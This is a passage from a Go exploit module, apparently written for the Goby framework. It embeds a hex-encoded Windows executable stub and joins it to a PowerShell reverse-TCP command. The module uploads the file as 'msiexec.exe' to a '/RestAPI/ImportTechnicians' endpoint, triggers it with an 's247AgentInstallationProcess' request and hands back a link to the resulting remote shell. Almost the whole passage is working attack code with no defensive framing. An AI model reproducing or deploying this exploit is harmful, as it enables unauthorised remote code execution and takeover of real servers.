BD8E80C0C0000B9010000008918E84404000084C07473E83F090000488D0D74090000E8DF050000E8A20600008BC8E8850B000085C07552E8A2060000E8E106000085C0740C488D0D7E060000E8610B0000E89C060000E897060000E86A0600008BC8E89F0B0000E88206000084C07405E8490B0000E850060000E81308000085C075064883C4205BC3B907000000E8B3060000CCCCCC4883EC28E86706000033C04883C428C34883EC28E83F080000E8160600008BC84883C428E94D0B0000CCCCCC48895C24084889742410574883EC30B901000000E82F03000084C00F84360100004032F64088742420E8DE0200008AD88B0D6624000083F9010F842301000085C9754AC7054F24000001000000488D1558100000488D0D39100000E8AE0A000085C0740AB8FF000000E9D9000000488D1517100000488D0D00100000E8870A0000C7051124000002000000EB0840B60140887424208ACBE81C040000E8CB050000488BD848833800741E488BC8E86E03000084C074124533C0418D500233C9488B03FF15940F0000E8A7050000488BD8488338007414488BC8E84203000084C07408488B0BE8540A0000E8130A0000488BF8E8350A0000488B18E8270A00004C8BC7488BD38B08E8B0FDFFFF8BD8E8C506000084C074554084F67505E8110A000033D2B101E8B20300008BC3EB198BD8E8A306000084C0743B807C2420007505E8F30900008BC3488B5C2440488B7424484883C4305FC3B907000000E82305000090B907000000E8180500008BCBE8A1090000908BCBE89F090000904883EC28E8D70300004883C428E972FEFFFFCCCC40534883EC20488BD933C9FF153B0D0000488BCBFF152A0D0000FF157C0D0000488BC8BA090400C04883C4205B48FF25600D000048894C24084883EC38B917000000FF15440D000085C07407B902000000CD29488D0DE21D0000E8A9000000488B442438488905C91E0000488D4424384883C008488905591E0000488B05B21E0000488905231D0000488B442440488905271E0000C705FD1C0000090400C0C705F71C000001000000C705011D000001000000B808000000486BC000488D0DF91C000048C7040102000000B808000000486BC000488B0D511C000048894C0420B808000000486BC001488B0D441C000048894C0420488D0D500E0000E8FFFEFFFF4883C438C3CCCC405356574883EC40488BD9FF155B0C0000488BB3F800000033FF4533C0488D542460488BCEFF15010C00004885C07439488364243800488D4C2468488B5424604C8BC848894C24304C8BC6488D4C247048894C242833C948895C2420FF15D20B0000FFC783FF027CB14883C4405F5E5BC3CCCCCC4883EC28E89F07000085C0742165488B042530000000488B4808EB05483BC8741433C0F0480FB10D6C21000075EE32C04883C428C3B001EBF7CCCCCC40534883EC200FB6055721000085C9BB010000000F44C3880547210000E8A6050000E8BD02000084C0750432C0EB14E8B002000084C0750933C9E8A5020000EBEA8AC34883C4205BC3CCCCCC40534883EC20803D0C210000008BD9756783F901776AE80507000085C0742885DB7524488D0DF6200000E89307000085C07510488D0DFE200000E88307000085C0742E32C0EB33660F6F05090D00004883C8FFF30F7F05C5200000488905CE200000F30F7F05CE200000488905D7200000C605A120000001B0014883C4205BC3B905000000E866020000CCCC4883EC184C8BC1B84D5A000066390589EAFFFF757848630DBCEAFFFF488D1579EAFFFF4803CA813950450000755FB80B0200006639411875544C2BC20FB74114488D51184803D00FB74106488D0C804C8D0CCA48891424493BD174188B4A0C4C3BC1720A8B420803C14C3BC072084883C228EBDF33D24885D2750432C0EB14837A24007D0432C0EB0AB001EB0632C0EB0232C04883C418C340534883EC208AD9E8EF05000033D285C0740B84DB7507488715CE1F00004883C4205BC340534883EC20803DC31F0000008AD9740484D2750CE8360100008ACBE82F010000B0014883C4205BC3CCCCCC40534883EC2048833D9E1F0000FF488BD97507E842060000EB0F488BD3488D0D881F0000E82B06000033D285C0480F44D3488BC24883C4205BC3CCCC4883EC28E8BBFFFFFF48F7D81BC0F7D8FFC84883C428C3CC48895C242055488BEC4883EC20488B054C19000048BB32A2DF2D992B0000483BC375744883651800488D4D18FF156E090000488B451848894510FF15200900008BC048314510FF15640900008BC0488D4D2048314510FF155C0900008B4520488D4D1048C1E02048334520483345104833C148B9FFFFFFFFFFFF00004823C148B933A2DF2D992B0000483BC3480F44C1488905C9180000488B5C244848F7D0488905C21800004883C4205DC333C0C3CCB801000000C3CCCCB800400000C3CCCC488D0DC91E000048FF25CA080000CCCCB001C3CCC20000CC488D05C11E0000C3488D05C11E0000C34883EC28E8E7FFFFFF48830824E8E6FFFFFF488308024883C428C3CC33C03905681800000F94C0C3488D05A91E0000C3488D05991E0000C38325891E000000C348895C240855488DAC2440FBFFFF4881ECC00500008BD9B917000000FF157608000085C074048BCBCD29B903000000E8C4FFFFFF33D2488D4DF041B8D0040000E815040000488D4DF0FF1531080000488B9DE8000000488D95D8040000488BCB4533C0FF15D70700004885C0743C488364243800488D8DE0040000488B95D80400004C8BC848894C24304C8BC3488D8DE804000048894C2428488D4DF048894C242033C9FF159E070000488B85C8040000488D4C2450488985E800000033D2488D85C804000041B8980000004883C00848898588000000E87E030000488B85C80400004889442460C744245015000040C744245401000000FF156A07000083F801488D4424504889442440488D45F00F94C3488944244833C9FF1539070000488D4C2440FF152607000085C0750C84DB75088D4803E8BEFEFFFF488B9C24D00500004881C4C00500005DC3CCE933FEFFFFCCCCCC4883EC2833C9FF15000700004885C07439B94D5A0000663908752F4863483C4803C88139504500007520B80B02000066394118751583B9840000000E760C83B9F8000000000F95C0EB0232C04883C428C3CCCCCC488D0D0900000048FF25A2060000CCCC48895C2408574883EC20488B19488BF9813B63736DE0751C837B180475168B53208D82E0FA6CE683F802761581FA00409901740D488B5C243033C04883C4205FC3E850020000488918488B5F08E84A020000488918E8D2020000CCCC48895C2408574883EC20488D1DBB0C0000488D3DB40C0000EB12488B034885C07406FF159C0700004883C308483BDF72E9488B5C24304883C4205FC348895C2408574883EC20488D1D8F0C0000488D3D880C0000EB12488B034885C07406FF15600700004883C308483BDF72E9488B5C24304883C4205FC348895C24104889742418574883EC1033C033C90FA2448BC14533DB448BD24181F06E74656C4181F2696E6549448BCB8BF033C9418D4301450BD00FA24181F147656E75890424450BD1895C24048BF9894C24088954240C755048830D6B150000FF25F03FFF0F3DC006010074283D6006020074213D70060200741A05B0F9FCFF83F820772448B90100010001000000480FA3C17314448B05641B00004183C801448905591B0000EB07448B05501B0000B807000000448D48FB3BF07C2633C90FA2890424448BDB895C2404894C24088954240C0FBAE309730A450BC14489051D1B0000C705D71400000100000044890DD41400000FBAE7140F839100000044890DBF140000BB06000000891DB81400000FBAE71B73790FBAE71C737333C90F01D048C1E220480BD04889542420488B44242022C33AC375578B058A14000083C808C705791400000300000089057714000041F6C320743883C820C705601400000500000089055E140000B8000003D04423D8443BD87518488B44242024E03CE0750D830D3F14000040891D35140000488B5C242833C0488B7424304883C4105FC3CCCCCC33C03905301400000F95C0C3CCCCCCCCCCCCCCCCCCCCCCCCFF2582040000FF2564040000FF2566040000FF2568040000FF25CA040000FF25EC040000FF258E040000FF2518050000FF250A050000FF25FC040000FF25EE040000FF25E0040000FF25D2040000FF25C4040000FF2516050000FF25A8040000FF259A040000FF258C040000FF257E040000FF25D8040000FF252A040000FF2514040000FF25DE040000FF25C8040000FF254A040000FF252C040000FF252E040000CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC66660F1F840000000000FFE0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC66660F1F840000000000FF25AA04000040554883EC20488BEA488B01488BD18B08E81CFFFFFF904883C4205DC3CC4055488BEA488B0133C98138050000C00F94C18BC15DC3CC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000882D000000000000AC2C000000000000C62C000000000000DA2C000000000000F62C000000000000E22D000000000000CE2D000000000000B82D0000000000009E2D000000000000982C000000000000722D000000000000582D0000000000003C2D000000000000282D000000000000142D0000000000000000000000000000E829000000000000FE290000000000001C2A000000000000D0290000000000000000000000000000822B00000000000000000000000000006C2B0000000000000000000000000000642A0000000000000000000000000000DA2B000000000000E82B000000000000382A000000000000BE2B000000000000422A000000000000342B0000000000002A2B0000000000001C2B0000000000000E2B000000000000542A000000000000F82A000000000000F02A000000000000E22A000000000000D62A000000000000B42A000000000000922A000000000000782A0000000000003E2B000000000000A22B0000000000000000000000000000922B000000000000002B000000000000000000000000000074170040010000007417004001000000D01C004001000000F01C004001000000F01C004001000000000000000000000000000000000000002811004001000000000000000000000000000000000000006010004001000000181100400100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070300040010000001031004001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000C267B061000000000D00000084020000182400001816000000000000C267B061000000000E0000000000000000000000000000000000000000000000380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030004001000000000000000000000000000000000000009021004001000000A02100400100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024004001000000000000000000000000000000000000009821004001000000A821004001000000B021004001000000B8210040010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000800080000000000000000000000000000000004743544C00100000C00C00002E74657874246D6E00000000C01C0000360000002E74657874246D6E24303000F61C0000360000002E7465787424780000200000900100002E696461746124350000000090210000300000002E30306366670000C0210000080000002E4352542458434100000000C8210000080000002E4352542458434141000000D0210000080000002E4352542458435A00000000D8210000080000002E4352542458494100000000E0210000080000002E4352542458494141000000E8210000080000002E4352542458494143000000F0210000080000002E4352542458495A00000000F8210000080000002E435254245850410000000000220000080000002E4352542458505A0000000008220000080000002E435254245854410000000010220000100000002E4352542458545A0000000020220000E00100002E7264617461000000240000180000002E726461746124766F6C746D6400000018240000880200002E7264617461247A7A7A646267000000A0260000080000002E7274632449414100000000A8260000080000002E72746324495A5A00000000B0260000080000002E7274632454414100000000B8260000080000002E72746324545A5A00000000C0260000DC0000002E786461746100009C2700008C0000002E696461746124320000000028280000180000002E696461746124330000000040280000900100002E6964617461243400000000D0290000340400002E696461746124360000000000300000700000002E6461746100000070300000F80500002E6273730000000000400000680100002E7064617461000000500000600000002E727372632430310000000060500000800100002E7273726324303200000000000000000000000000000000000000000000000000000000000000000000000000000000010D01000D4200000100000001060200063202300104010004420000090F06000F6409000F3408000F520B70101C0000020000006D11000072120000F61C000072120000A6120000B8120000F61C000072120000010602000632025001090100096200000108040008720470036002300904010004220000101C0000010000006B150000F5150000141D0000F51500000102010002500000010D04000D3409000D320650011505001534BA001501B80006500000010A04000A3406000A320670010F06000F6406000F3405000F120B70010000000000000001000000C02800000000000000000000262A000080200000182900000000000000000000F42B0000D8200000082900000000000000000000162C0000C8200000B82900000000000000000000362C000078210000F82800000000000000000000562C0000B8200000E82800000000000000000000782C0000A8200000402800000000000000000000F62D000000200000000000000000000000000000000000000000000000000000882D000000000000AC2C000000000000C62C000000000000DA2C000000000000F62C000000000000E22D000000000000CE2D000000000000B82D0000000000009E2D000000000000982C000000000000722D000000000000582D0000000000003C2D000000000000282D000000000000142D0000000000000000000000000000E829000000000000FE290000000000001C2A000000000000D0290000000000000000000000000000822B00000000000000000000000000006C2B0000000000000000000000000000642A0000000000000000000000000000DA2B000000000000E82B000000000000382A000000000000BE2B000000000000422A000000000000342B0000000000002A2B0000000000001C2B0000000000000E2B000000000000542A000000000000F82A000000000000F02A000000000000E22A000000000000D62A000000000000B42A000000000000922A000000000000782A0000000000003E2B000000000000A22B0000000000000000000000000000922B000000000000002B000000000000000000000000000008005F5F435F73706563696669635F68616E646C657200001B005F5F63757272656E745F657863657074696F6E001C005F5F63757272656E745F657863657074696F6E5F636F6E74657874003E006D656D7365740000564352554E54494D453134302E646C6C0000660073797374656D000040005F7365685F66696C7465725F6578650042005F7365745F6170705F747970650009005F5F736574757365726D617468657272000018005F636F6E6669677572655F6E6172726F775F61726776000033005F696E697469616C697A655F6E6172726F775F656E7669726F6E6D656E74000028005F6765745F696E697469616C5F6E6172726F775F656E7669726F6E6D656E740036005F696E69747465726D0037005F696E69747465726D5F6500550065786974000023005F657869740054005F7365745F666D6F6465000004005F5F705F5F5F61726763000005005F5F705F5F5F61726776000016005F6365786974000015005F635F65786974003D005F72656769737465725F7468726561645F6C6F63616C5F6578655F6174657869745F63616C6C6261636B000008005F636F6E6669677468726561646C6F63616C650016005F7365745F6E65775F6D6F64650001005F5F705F5F636F6D6D6F6465000034005F696E697469616C697A655F6F6E657869745F7461626C6500003C005F72656769737465725F6F6E657869745F66756E6374696F6E001E005F6372745F6174657869740067007465726D696E617465006170692D6D732D77696E2D6372742D72756E74696D652D6C312D312D302E646C6C006170692D6D732D77696E2D6372742D6D6174682D6C312D312D302E646C6C00006170692D6D732D77696E2D6372742D737464696F2D6C312D312D302E646C6C006170692D6D732D77696E2D6372742D6C6F63616C652D6C312D312D302E646C6C00006170692D6D732D77696E2D6372742D686561702D6C312D312D302E646C6C0000D50452746C43617074757265436F6E7465787400DC0452746C4C6F6F6B757046756E6374696F6E456E7472790000E30452746C5669727475616C556E77696E640000C005556E68616E646C6564457863657074696F6E46696C74657200007F05536574556E68616E646C6564457863657074696F6E46696C74657200200247657443757272656E7450726F63657373009E055465726D696E61746550726F6365737300008C03497350726F636573736F724665617475726550726573656E740052045175657279506572666F726D616E6365436F756E74657200210247657443757272656E7450726F63657373496400250247657443757272656E7454687265616449640000F30247657453797374656D54696D65417346696C6554696D65006F03496E697469616C697A65534C697374486561640085034973446562756767657250726573656E740081024765744D6F64756C6548616E646C655700004B45524E454C33322E646C6C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032A2DF2D992B0000CD5D20D266D4FFFFFFFFFFFF0100000001000000020000002F2000000000000000F80000000000000100000000000000")
					payloadEnd, _ := hex.DecodeString("2020202020202020202020202020202020202020202020202020202020202020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000021100000C0260000401000005E100000C82600006010000016110000CC2600001811000028110000D42600002811000041110000D426000044110000C0120000DC260000C0120000D2120000D4260000D412000008130000CC26000008130000DA1300001C270000DC1300004D140000242700005014000089140000D42600008C140000D5140000CC260000D814000063150000CC26000064150000FC15000030270000FC15000020160000CC2600002016000049160000CC2600004C16000086160000CC260000881600009F160000D4260000A01600004C1700005827000088170000A3170000D4260000C817000013190000642700001C1900006D190000D426000080190000DB19000074270000DC190000181A000074270000181A0000541A000074270000541A0000F51B000080270000D01C0000D21C000090270000F01C0000F61C000098270000F61C0000141D000014270000141D00002C1D0000502700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001800000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000904000048000000605000007D010000000000000000000000000000000000003C3F786D6C2076657273696F6E3D27312E302720656E636F64696E673D275554462D3827207374616E64616C6F6E653D27796573273F3E0D0A3C617373656D626C7920786D6C6E733D2775726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763127206D616E696665737456657273696F6E3D27312E30273E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D276173496E766F6B6572272075694163636573733D2766616C736527202F3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E0D0A0000000000000000000000000000000000000000000000000000000000000000000000002000002C00000090A198A1A0A1A8A1B0A1C8A1E0A1E8A120A228A2D8A2F0A2F8A280A398A3A0A3A8A3B0A3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
					cmd := godclient.ReverseTCPByPowershell(rp)
					uri1 := `/RestAPI/ImportTechnicians?step=1`
					cfg1 := httpclient.NewPostRequestConfig(uri1)
					cfg1.VerifyTls = false
					cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryRBcwSPhzFlHZQPEo")
					cfg1.Data = fmt.Sprintf("------WebKitFormBoundaryRBcwSPhzFlHZQPEo\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"msiexec.exe\"\r\nContent-Type: image/jpeg\r\n\r\n%s%s%s\r\n------WebKitFormBoundaryRBcwSPhzFlHZQPEo--\r\n", string(payloadStart), cmd, string(payloadEnd))
					httpclient.DoHttpRequest(expResult.HostInfo, cfg1)
					uri2 := `/./RestAPI/s247action`
					cfg2 := httpclient.NewPostRequestConfig(uri2)
					cfg2.VerifyTls = false
					cfg2.Header.Store("Content-Type", "application/x-www-form-urlencoded")
					cfg2.Data = `execute=s247AgentInstallationProcess`
					go httpclient.DoHttpRequest(expResult.HostInfo, cfg2)
					select {
					case webConsleID := <-waitSessionCh:
						log.Println("[DEBUG] session created at:", webConsleID)
						if u, err := url.Parse(webConsleID); err == nil {
							expResult.Success = true
							expResult.OutputType = "html"
							sid := strings.Join(u.Query()["id"], "")
							expResult.Output += `<br/> <a href="goby://sessions/view?sid=` + sid + `&key=` + godclient.GetKey() + `">open shell</a>`
						}
					case <-time.After(time.Second * 15):
					}
				}
			}
			return expResult
		},
	))
}
